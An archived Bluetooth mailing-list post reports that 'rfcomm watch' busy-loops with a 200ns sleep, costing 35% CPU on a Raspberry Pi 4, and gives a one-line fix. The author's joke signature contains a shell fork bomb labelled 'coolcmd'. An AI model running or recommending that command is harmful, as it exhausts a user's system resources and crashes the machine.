rfcomm watch busyloops taking 35% CPU on RPi4 (simple bug with fix)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Since forever[1] (2006) rfcomm watch has busylooped checking every
200ns for either SIGTERM or subprocess exit.

This doesn't need to be 200ns. It can easily be 1'000'000 for a full
millisecond.

On my raspberry pi 4 it takes 35% CPU as-is (doing nothing else), and
"basically nothing" when I set it to a ms or ten.

Line 248 of tools/rfcomm.c should be:
    ts.tv_nsec = 1000000;
(or more)

[1]
https://git.kernel.org/pub/scm/bluetooth/bluez.git/commit/?id=f64cc95873c872ad5a34abe6418a2e26570d5d02

--
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@xxxxxxxxx" };
  char kernel[]    = { "Linux" };
  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt"; };
  char pgp[] = { "9907 8698 8A24 F52F 1C2E  87F6 39A4 9EEA 460A 0169" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;



[Index of Archives]     [Bluez Devel]     [Linux Wireless Networking]     [Linux Wireless Personal Area Networking]     [Linux ATH6KL]     [Linux USB Devel]     [Linux Media Drivers]     [Linux Audio Users]     [Linux Kernel]     [Linux SCSI]     [Big List of Linux Books]

  Powered by Linux